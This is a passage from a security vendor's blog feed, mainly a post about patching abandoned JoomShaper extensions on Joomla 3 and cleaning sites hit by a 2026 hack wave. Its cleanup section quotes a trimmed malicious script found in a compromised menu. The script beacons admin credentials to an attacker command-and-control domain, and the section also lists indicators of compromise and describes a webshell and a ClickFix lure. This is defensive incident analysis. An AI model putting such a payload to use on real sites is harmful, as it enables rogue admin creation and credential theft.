</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>edocman</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/edocman-sql-injection-disclosure.png" length="0" type="image/png"/></item><item><title>The One-Click Way to Patch JoomShaper Extensions on Joomla 3</title><link>https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/</link><guid isPermaLink="true">https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/</guid><description>mySites.guru backports JoomShaper&apos;s security fixes into SP Page Builder, Helix3 and Helix Ultimate on Joomla 3, across every site in your account.</description><pubDate>Tue, 14 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;Update, 15 July 2026: JoomShaper has now patched Joomla 3&lt;/p&gt;
  &lt;p&gt;The day after this post went out, JoomShaper reversed its position and released Joomla 3 security patches for Helix Ultimate, Helix3 and SP Page Builder. That is good news and worth taking: if the official patch installs on your site, apply it. Two things to know first. The Helix Ultimate package rejects anything above 2.1.4-j3sec but sets no lower bound, so older builds are accepted (we got this wrong originally and corrected it on 27 August 2026), and no patch, ours or theirs, cleans up a site that was already breached. &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;Here is what is in the patches&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;There are still thousands of Joomla 3 sites out there.&lt;/p&gt;
&lt;p&gt;There is always a reason, an excuse: &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;a client who will not sign off the budget&lt;/a&gt;, a custom template no one has the source for, a booking system that only exists as a Joomla 3 extension. So the sites sit there, end of life, and you keep an eye on them and hope. Pray. Ignore.&lt;/p&gt;
&lt;p&gt;On 9 July 2026, &lt;a href=&quot;https://mysites.guru/blog/joomshaper-drops-joomla-3-support/&quot;&gt;JoomShaper stopped supporting Joomla 3&lt;/a&gt; across every one of its products, with one line that matters more than the rest: &lt;strong&gt;no security patches, regardless of severity.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In the same fortnight, we found and disclosed &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;twelve separate vulnerabilities in popular Joomla extensions&lt;/a&gt;, four of them rated the maximum CVSS 10.0&lt;/p&gt;
&lt;p&gt;Unfortunatly, attackers weaponised the fixes within hours of each one going public, as is the norm nowadays.&lt;/p&gt;
&lt;p&gt;JoomShaper only fixed their own code running on Joomla 4+ and left those with Joomla 3 sites scrambling around without any security fixes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;So we built the tool that fixes the hacks caused by their vulnerabilities and patches the extensions and plugins they abandoned in their time of need.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;mySites.guru now patches the abandoned JoomShaper extensions on Joomla 3, SP Page Builder, Helix3 and Helix Ultimate, in place, and cleans up the sites already hit, all from the same dashboard you use to manage everything else.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Built by mySites.guru&lt;/p&gt;
  &lt;p&gt;This tool backports JoomShaper&apos;s own security fix logic into the Joomla 3 extension code you are actually running, in place and reversibly, across every site in your account from one toggle. We wrote it, we tested it against real vulnerable sites for a week, and it is live in your subscribed account now (GBP19.99 per month - unlimited sites!). It is one of several Joomla 3 tools we have shipped in the last few weeks, because the sites that need them are the ones with no one else left to help.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;JoomShaper Walked Away From Joomla 3. Like many modern developers.&lt;/h2&gt;
&lt;p&gt;You cant blame them. Joomla 3.x.x has been end of life for years.  mySites.guru already has a tool that patches &lt;a href=&quot;https://joomla3security.com/core-vulnerabilities/&quot;&gt;security issues in Joomla 3.10.12&lt;/a&gt; following the end of life announcement by Joomla, and their failed commercial eLTS support service - which also ended.&lt;/p&gt;
&lt;p&gt;JoomShaper’s decision is defensible, and we said so at the time: it can secure its own code, but it cannot secure the end-of-life Joomla core underneath it. The timing is what makes it bite. SP Page Builder had an unauthenticated file-upload flaw, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;, rated CVSS 10.0 and actively exploited to plant hidden Joomla Super Admins. Helix3 had &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;CVE-2026-49049&lt;/a&gt;, the entry point for the “Hacked by AntonKill” defacement wave that hides its payload in your database, not your files.&lt;/p&gt;
&lt;p&gt;Both are patched, and when we built this tool both official fixes existed only for Joomla 4 and above.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The fix for SP Page Builder is version 6.6.2.&lt;/li&gt;
&lt;li&gt;The fix for Helix3 is 3.1.1,&lt;/li&gt;
&lt;li&gt;and for Helix Ultimate it is 2.2.7.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Every one of those requires Joomla 4 or newer. Run them on Joomla 3 and there is no version you can update to.&lt;/p&gt;
&lt;p&gt;On 15 July 2026, the day after this tool shipped, &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;JoomShaper reversed its Joomla 3 decision&lt;/a&gt; and released separate Joomla 3 patches for all three products. If one installs on your site, take it: a vendor patch beats a third-party guard. We originally wrote that the Helix Ultimate package only supports Helix 2.1.0 to 2.1.3 and rejects older builds. Re-reading the installer on 27 August 2026, that was wrong: the only version gate is an upper bound of 2.1.4-j3sec, and older 1.1.x and 2.0.x builds are accepted. JoomShaper has since shipped &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;a third Joomla 3 security patch&lt;/a&gt;, and a fourth on 31 August 2026 that fixes an authorisation check we reported in the third. Version 1.0.3 is the one to apply now.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Snapshot showing a red &amp;quot;This site has one or more vulnerable plugins installed&amp;quot; panel. It lists four detected JoomShaper flaws with a Read More button on each: Helix3 Framework and Helix3 Template below 3.1.1 (unauthenticated file write and delete via com_ajax, RCE, CVE pending, credited to Phil Taylor of Blue Flame Digital Solutions), and Helix Ultimate Framework and Helix Ultimate below 2.2.7 (unauthenticated broken access control, stored XSS and Super User creation via the mega menu, confirmed exploited in the wild).&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2636px) 2636px, 100vw&quot; width=&quot;2636&quot; height=&quot;1474&quot; src=&quot;https://mysites.guru/_astro/joomshaper-helix-vulnerabilities-detected.xMe7lxMl_Rw5KQ.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomshaper-helix-vulnerabilities-detected.xMe7lxMl_2s5rnU.webp 640w, https://mysites.guru/_astro/joomshaper-helix-vulnerabilities-detected.xMe7lxMl_MySwf.webp 750w, https://mysites.guru/_astro/joomshaper-helix-vulnerabilities-detected.xMe7lxMl_Z1T2rhs.webp 828w, https://mysites.guru/_astro/joomshaper-helix-vulnerabilities-detected.xMe7lxMl_Z1hWO57.webp 1080w, https://mysites.guru/_astro/joomshaper-helix-vulnerabilities-detected.xMe7lxMl_1d0aA2.webp 1280w, https://mysites.guru/_astro/joomshaper-helix-vulnerabilities-detected.xMe7lxMl_qD5e5.webp 1668w, https://mysites.guru/_astro/joomshaper-helix-vulnerabilities-detected.xMe7lxMl_ZRtfyN.webp 2048w, https://mysites.guru/_astro/joomshaper-helix-vulnerabilities-detected.xMe7lxMl_Z1yhEPp.webp 2560w, https://mysites.guru/_astro/joomshaper-helix-vulnerabilities-detected.xMe7lxMl_Rw5KQ.webp 2636w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;mySites.guru already spots these on every connected site and tells you exactly which flaw is present, which version fixes it and why it matters, so before you patch anything you can see your real exposure as a list instead of finding out from a defacement.&lt;/p&gt;
&lt;p&gt;These are the JoomShaper vulnerabilities we have found, disclosed and written up, the three products this tool patches on Joomla 3:&lt;/p&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;JoomShaper extension&lt;/th&gt;&lt;th&gt;Vulnerability&lt;/th&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Severity&lt;/th&gt;&lt;th&gt;Read&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;SP Page Builder&lt;/td&gt;&lt;td&gt;Unauthenticated icon upload to RCE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Helix3&lt;/td&gt;&lt;td&gt;Unauthenticated file write and delete via com_ajax&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt;&lt;/td&gt;&lt;td&gt;7.5&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Disclosure&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;AntonKill wave&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Helix Ultimate&lt;/td&gt;&lt;td&gt;Unauthenticated menu write to stored XSS&lt;/td&gt;&lt;td&gt;none assigned&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;We took a different view. The fix logic that JoomShaper wrote is public, we have read it, and it is not large. So mySites.guru now applies that same logic directly to the Joomla 3 code you are running, without touching the version and without waiting. At the time we built it the vendor had said no. It has since said yes, which we are glad about, and the tool still saves you doing it by hand on every site.&lt;/p&gt;
&lt;h2&gt;How to Patch JoomShaper Extensions on Joomla 3&lt;/h2&gt;
&lt;p&gt;With mySites.guru tools! A simple toggle in the site’s Snapshot, in the same &lt;strong&gt;Hacked?&lt;/strong&gt; section as our other security checks.&lt;/p&gt;
&lt;p&gt;One click to patch, one click to restore original files.&lt;/p&gt;
&lt;p&gt;Simple.&lt;/p&gt;
&lt;p&gt;To patch JoomShaper extensions on a Joomla 3 site with mySites.guru, you flip a single toggle in the site’s Snapshot, in the same &lt;strong&gt;Hacked?&lt;/strong&gt; section as our other security checks. Flip it on and mySites.guru inspects the three abandoned JoomShaper extensions, works out which are present and still vulnerable, and injects a minimal security guard into each one through the connector. Flip it off and it restores the original files from the backup it took before the first change.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/img/blog/unpatched-joomshaper-security-holes-toggle.gif&quot; alt=&quot;Toggling the &amp;quot;Unpatched JoomShaper Security Holes&amp;quot; option on in the Hacked? section of the mySites.guru snapshot dashboard, alongside the other one-click Joomla cleanup tools: Check For JCE Rogue Profiles &amp;amp; Backdoors, Rogue Super Admin Accounts, Site Cleanup, Helix3 Custom Code Hack and SP Page Builder Rogue Icon-Font Assets&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It is a guard, not a version bump.&lt;/p&gt;
&lt;p&gt;Rather than trying to ship a rebuilt copy of every version of every extension anyone might be running, the tool reads the file, confirms the vulnerable code is actually there, and inserts a small, self-contained check at the exact point the vendor added theirs. That one approach covers the whole range of vulnerable versions instead of needing a hand-built file for each. Each guard is a faithful backport of the real fix:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Helix Ultimate&lt;/strong&gt;: the media handler that let an anonymous visitor delete files now requires an authenticated template editor and rejects any path containing &lt;code&gt;..&lt;/code&gt;, the same gate JoomShaper added.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Helix3&lt;/strong&gt;: the AJAX image upload and remove handlers now demand a valid token and the right permission before they will do anything, closing the unauthenticated write.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SP Page Builder&lt;/strong&gt;: the addon parameter that could be steered into loading an arbitrary file is now restricted to a plain slug, which kills the local-file-include that led to remote code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru per-extension status panel after patching, listing Helix Ultimate, SP Page Builder and Helix3 each with a green &amp;quot;patched&amp;quot; label&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 548px) 548px, 100vw&quot; width=&quot;548&quot; height=&quot;310&quot; src=&quot;https://mysites.guru/_astro/joomshaper-per-extension-status-patched.DkLOPMJs_Z2lpR9W.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomshaper-per-extension-status-patched.DkLOPMJs_Z2lpR9W.webp 548w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once the toggle is on, the Snapshot shows a per-extension status so you can confirm at a glance which of the three JoomShaper extensions the guard closed on that site.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The patch &lt;strong&gt;does not change the extension&apos;s version number&lt;/strong&gt;, because it does not replace the extension. The vulnerability badge on the site stays visible on purpose, as a standing reminder that the only permanent fix is migration. What changes is that the hole is now closed.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Because it works across every site in your account, you are not logging into 400 admin panels to do this. You see every Joomla 3 site that runs a vulnerable JoomShaper extension in one list, and you patch them together. The backup-first, toggle-to-revert design means that if anything about a particular site makes you cautious, undoing the change is one click and leaves the files byte-for-byte as they were.&lt;/p&gt;
&lt;p&gt;That is the difference worth understanding now that the vendor patches exist. Doing it JoomShaper’s way means downloading three separate zip files from three different places, then logging into every Joomla site you manage and uploading each one by hand through the extension installer. Doing it this way is one toggle that applies the fix logic for every affected JoomShaper product across every site at once. Both close the same holes. Only one of them costs you a day.&lt;/p&gt;
&lt;h2&gt;What About the Joomla 3 Sites That Just Need to Hang On?&lt;/h2&gt;
&lt;p&gt;This tool exists for them. &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;Not every Joomla 3 site can migrate this quarter&lt;/a&gt;, and telling an agency to “just move to Joomla 6” ignores the real work involved: template rebuilds, extension replacements, content checks, client approval. In the meantime those sites are live, indexed, and exposed. The honest position is that they need to hang on for a while, and hanging on should not mean hanging out with an open door.&lt;/p&gt;
&lt;p&gt;Alongside the JoomShaper patch, mySites.guru already includes a &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;one-click patch for the Joomla 3 core itself&lt;/a&gt;. That tool applies every known Joomla 3 core security fix, backported from the &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;3.10.999 project&lt;/a&gt; and the eLTS work, across all your sites from a single toggle, no eLTS subscription required. Between the two, the core holes and the abandoned-extension holes on a Joomla 3 site are both closed while you plan the move properly.&lt;/p&gt;
&lt;h2&gt;Cleaning Up After the Hack Wave&lt;/h2&gt;
&lt;p&gt;Prevention is only half the story, because a lot of these sites were breached before anyone shipped a fix. The wave of Joomla hacks running through 2026 has defaced and backdoored sites in their tens of thousands, and the same JoomShaper flaws are the doorway for a good share of them. Joomla 3 sites are the worst exposed, because they cannot take the vendor fix, but the wave hit Joomla 4, 5 and 6 sites too, and these cleanup tools work on the affected sites whatever version they run. Once an attacker is in, they plant things designed to stay in place through your cleanup: &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;dormant droppers, hidden admins and malicious cron jobs&lt;/a&gt; that rebuild the malware after you think you have removed it. So mySites.guru ships targeted, one-click tools for the exact artefacts these attacks leave behind.&lt;/p&gt;
&lt;p&gt;mySites.guru has a full suite of tools that you can use to clean your hacked sites - the specific ones developed for this current wave are:&lt;/p&gt;
&lt;h3&gt; NEW TOOL: Remove Rogue Super Admin Accounts&lt;/h3&gt;
&lt;p&gt;The first thing a SP Page Builder or Helix compromise usually does is create a hidden Joomla Super Administrator, so the attacker keeps a way back in even after you patch. The &lt;strong&gt;Rogue Super Admin Accounts&lt;/strong&gt; tool flags Super Admins planted with the known attacker signatures, by email and by the worm usernames these campaigns reuse, and lets you delete them across every affected site in one action. A site with a rogue Super Admin is shown as hacked, in red, until it is gone.&lt;/p&gt;
&lt;h3&gt; NEW TOOL: Clean the Helix Ultimate Mega Menu Hack&lt;/h3&gt;
&lt;p&gt;The newest of these tools shipped the same day as this post. When an attacker abuses the unauthenticated Helix Ultimate menu write on a Joomla 4, 5 or 6 site, they store a payload in the mega-menu settings, stored cross-site scripting aimed at creating a Super User, hidden inside your menu.&lt;/p&gt;
&lt;p&gt;On a compromised site we examined, the &lt;code&gt;params&lt;/code&gt; column of the Home item in the &lt;code&gt;#__menu&lt;/code&gt; table read like a normal Helix Ultimate menu layout, except that inside the &lt;code&gt;helixultimatemenulayout&lt;/code&gt; value two fields, &lt;code&gt;badge&lt;/code&gt; and &lt;code&gt;custom_html&lt;/code&gt;, had each been overwritten with the same block of JavaScript. Trimmed down, it does this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// #__menu -&amp;gt; params -&amp;gt; helixultimatemenulayout -&amp;gt; &quot;badge&quot; and &quot;custom_html&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;s-cript&lt;/span&gt;&lt;span&gt;&amp;gt;(function () &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  var C2  &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;https://xdxd.olybrdbtrknks.xyz&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;                    &lt;/span&gt;&lt;span&gt;// attacker command-and-control&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  var DEF &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; { login&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;admin_mori&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, email&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;memetkaan43@proton.me&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, gid&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; }; &lt;/span&gt;&lt;span&gt;// rogue Super User, group 8&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  // poll /administrator/index.php every 30s for a logged-in admin session,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  // then scrape the one-time CSRF token from the page,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  // POST com_users task=user.apply to create the Super User,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  // and beacon the working credentials back to the C2 router.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  // (working parts trimmed on purpose)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  checkAdmin&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  setInterval&lt;/span&gt;&lt;span&gt;(checkAdmin, &lt;/span&gt;&lt;span&gt;30000&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;)();&amp;lt;/&lt;/span&gt;&lt;span&gt;s-cript&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A few things make it nasty:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;It lives in the database, not on disk.&lt;/strong&gt; File scanners, SFTP greps and clean-file restores all miss it, the same blind spot as the Helix3 defacement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The tag is written as &lt;code&gt;&amp;lt;s-cript&amp;gt;&lt;/code&gt;&lt;/strong&gt; (note the hyphen) so naive keyword filters skip over it, while the browser still parses it as a real script the moment the menu renders.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It only fires for a logged-in administrator.&lt;/strong&gt; The script polls &lt;code&gt;/administrator/index.php&lt;/code&gt; every 30 seconds, and as soon as it detects an authenticated admin session it submits the &lt;code&gt;com_users&lt;/code&gt; new-user form on that admin’s behalf, CSRF token and all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Super User is attacker-controlled.&lt;/strong&gt; Its username, password and email are fetched live from the C2, falling back to &lt;code&gt;admin_mori&lt;/code&gt; / &lt;code&gt;memetkaan43@proton.me&lt;/code&gt; in group 8 if the C2 is unreachable, then the working credentials are beaconed straight back so the attacker can log in from anywhere.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So the menu write is only the doorway. The real prize is a hidden Super User that outlives the patch, which is why cleaning the site means two jobs: blank the injected menu fields, and audit &lt;code&gt;#__users&lt;/code&gt; for an admin account you did not create. &lt;strong&gt;Indicators of compromise:&lt;/strong&gt; a &lt;code&gt;&amp;lt;s-cript&amp;gt;&lt;/code&gt; string in &lt;code&gt;#__menu.params&lt;/code&gt;; the C2 domain &lt;code&gt;xdxd.olybrdbtrknks.xyz&lt;/code&gt;; a Super User named &lt;code&gt;admin_mori&lt;/code&gt; or registered to &lt;code&gt;memetkaan43@proton.me&lt;/code&gt;; a hidden iframe with id &lt;code&gt;jc_router_iframe&lt;/code&gt;; the global flags &lt;code&gt;joomlacreater_inline_run&lt;/code&gt; and &lt;code&gt;joomlacreater_create_done&lt;/code&gt; in page source.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Helix Ultimate Mega Menu Hack&lt;/strong&gt; tool finds the poisoned menu items and blanks only the injected badge and custom-HTML fields, leaving the rest of your menu layout exactly as it was, then points you to update Helix Ultimate to 2.2.7 or later so it cannot happen again.&lt;/p&gt;
&lt;h3&gt; NEW TOOL: Clean the Helix3 Template Code Hack&lt;/h3&gt;
&lt;p&gt;The Helix3 version of the same attack hides its payload in the template style’s custom code in the database, which is why an on-disk malware scan of a defaced Helix3 site comes back clean while the skull is still on the screen. The &lt;strong&gt;Helix3 Custom Code Hack&lt;/strong&gt; tool reads every template style, finds the injected defacement or stealth loader, and clears it in one click. We wrote about &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;where that defacement actually hides&lt;/a&gt; in detail.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;A fake &amp;quot;Complete these Verification Steps&amp;quot; box mimicking Google reCAPTCHA, instructing the visitor to press the Windows Key plus R, then Ctrl and V, then Enter. A ClickFix lure served by the Helix3 stealth loader in place of a visible defacement&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 938px) 938px, 100vw&quot; width=&quot;938&quot; height=&quot;992&quot; src=&quot;https://mysites.guru/_astro/helix3-fake-captcha-clickfix.D5bGLQVE_ZE7rAR.webp&quot; srcset=&quot;https://mysites.guru/_astro/helix3-fake-captcha-clickfix.D5bGLQVE_Z2nSApD.webp 640w, https://mysites.guru/_astro/helix3-fake-captcha-clickfix.D5bGLQVE_Z2lmCkJ.webp 750w, https://mysites.guru/_astro/helix3-fake-captcha-clickfix.D5bGLQVE_ZGDpFL.webp 828w, https://mysites.guru/_astro/helix3-fake-captcha-clickfix.D5bGLQVE_ZE7rAR.webp 938w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The nastier variant does not deface at all. Instead of a skull, the stealth loader serves a fake “I’m not a robot” box like this one, a &lt;a href=&quot;https://mysites.guru/blog/fake-cloudflare-captcha-wordpress-core-functions-php/&quot;&gt;ClickFix lure&lt;/a&gt; that talks the visitor into pasting an attacker command into the Windows Run dialog and running it on their own machine. The homepage looks normal, the file scan is clean, and the site is weaponised against everyone who visits it, which is exactly why a Helix3 site needs its template custom code checked whether or not a skull ever appeared.&lt;/p&gt;
&lt;h3&gt; NEW TOOL: Delete Rogue SP Page Builder Assets&lt;/h3&gt;
&lt;p&gt;The SP Page Builder upload flaw let anyone plant rogue icon-font asset rows as a foothold. The &lt;strong&gt;SP Page Builder Rogue Icon-Font Assets&lt;/strong&gt; tool detects those planted rows and removes them, again across every affected site at once.&lt;/p&gt;
&lt;h3&gt;Find the Backdoors They Left on Disk&lt;/h3&gt;
&lt;p&gt;The database-side tools clean the specific artefacts these campaigns plant, but a breached site usually has files dropped through the same hole too, and those can be buried anywhere in tens of thousands of files. The mySites.guru file scanner flags each one as a &lt;strong&gt;Hacked File&lt;/strong&gt;, so instead of grepping a whole web space by hand you get a short list to work through, and you can open any file to read the suspect content inline before you act on it.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru file scanner listing five files flagged as Hacked File, including up_8570.phtml, Hz3ly.php and gQx2tDS.php, with per-file flag, AI-analysis, delete, edit and download actions. An open Suspect Content panel for gQx2tDS.php shows the malicious PHP: a runCmd function that shells out via proc_open, shell_exec, exec, system or passthru, and a file-upload handler using move_uploaded_file&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1756px) 1756px, 100vw&quot; width=&quot;1756&quot; height=&quot;1180&quot; src=&quot;https://mysites.guru/_astro/joomshaper-hacked-file-scanner-suspect-content.C5PBKtXz_1hfFNO.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomshaper-hacked-file-scanner-suspect-content.C5PBKtXz_ZtTYGH.webp 640w, https://mysites.guru/_astro/joomshaper-hacked-file-scanner-suspect-content.C5PBKtXz_cVbcn.webp 750w, https://mysites.guru/_astro/joomshaper-hacked-file-scanner-suspect-content.C5PBKtXz_ZW2Vr4.webp 828w, https://mysites.guru/_astro/joomshaper-hacked-file-scanner-suspect-content.C5PBKtXz_1BnIcF.webp 1080w, https://mysites.guru/_astro/joomshaper-hacked-file-scanner-suspect-content.C5PBKtXz_F0HaP.webp 1280w, https://mysites.guru/_astro/joomshaper-hacked-file-scanner-suspect-content.C5PBKtXz_Z1xYu5R.webp 1668w, https://mysites.guru/_astro/joomshaper-hacked-file-scanner-suspect-content.C5PBKtXz_1hfFNO.webp 1756w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That is a real dropper from one of these compromises: a small webshell that runs any command the attacker sends and lets them upload more files. It is the kind of thing that comes through a database clean and re-infects the site later, which is why the file audit matters as much as the toggle.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;Patching and cleaning are two different jobs. Patch to close the entry point so it cannot happen again; clean to remove what an attacker already left. On a site that has been breached, do both, and run a full file audit afterwards, because these compromises rarely stop at one backdoor. If you would rather someone else handled it, our team fixes hacked Joomla sites for a flat fee at &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Does Patching Let Me Skip the Joomla 3 Migration?&lt;/h2&gt;
&lt;p&gt;No. Migration to &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 5 or 6&lt;/a&gt; is the only real fix, and none of these tools changes that. What they change is the risk you have in the gap between now and the day that migration actually happens, which for most agencies is measured in months, not days. The patch tool closes the vendor-abandoned holes, the core patch tool closes the Joomla core holes, and the cleanup tools deal with anything that got in first. That is a defensible position to hold a site in while you do the migration properly, instead of leaving it open and hoping the botnets do not find it before you get to it.&lt;/p&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, the starting point is knowing which ones are still on Joomla 3 and what each of them runs. mySites.guru inventories the extensions and versions on &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;every Joomla site you connect&lt;/a&gt; and flags the end-of-life ones automatically, so your exposure is a list you can see rather than a surprise you find out about from a defacement.&lt;/p&gt;
&lt;h2&gt;A Joomla and WordPress Toolset That Grows Every Day&lt;/h2&gt;
&lt;p&gt;The Helix Ultimate mega-menu tool went into mySites.guru the day this post went out. The JoomShaper patch tool arrived the same week. The &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;core Joomla 3 patch tool&lt;/a&gt; picks up new backports as new eLTS fixes appear. We shipped mySites.guru in 2012 and have not stopped building it since, and we mean that literally: we put work into it every single day of the year, because the threats change every single day of the year.&lt;/p&gt;
&lt;p&gt;That investment runs across both platforms, not just Joomla. The same account that patches your Joomla 3 extensions also &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk-updates your WordPress plugins&lt;/a&gt;, scans every site with malware detection built from over a decade of real hacks, backs everything up, and monitors for the changes that a second-wave attacker makes between two clean-looking scans. When a new CMS threat appears, we build the tool that fixes it across your whole portfolio and add it to the dashboard, usually within days, instead of just writing a knowledge-base article about it. The Joomla 3 tools in this post are simply the most recent proof of that.&lt;/p&gt;
&lt;h2&gt;Why Has the mySites.guru Price Not Changed Since 2012?&lt;/h2&gt;
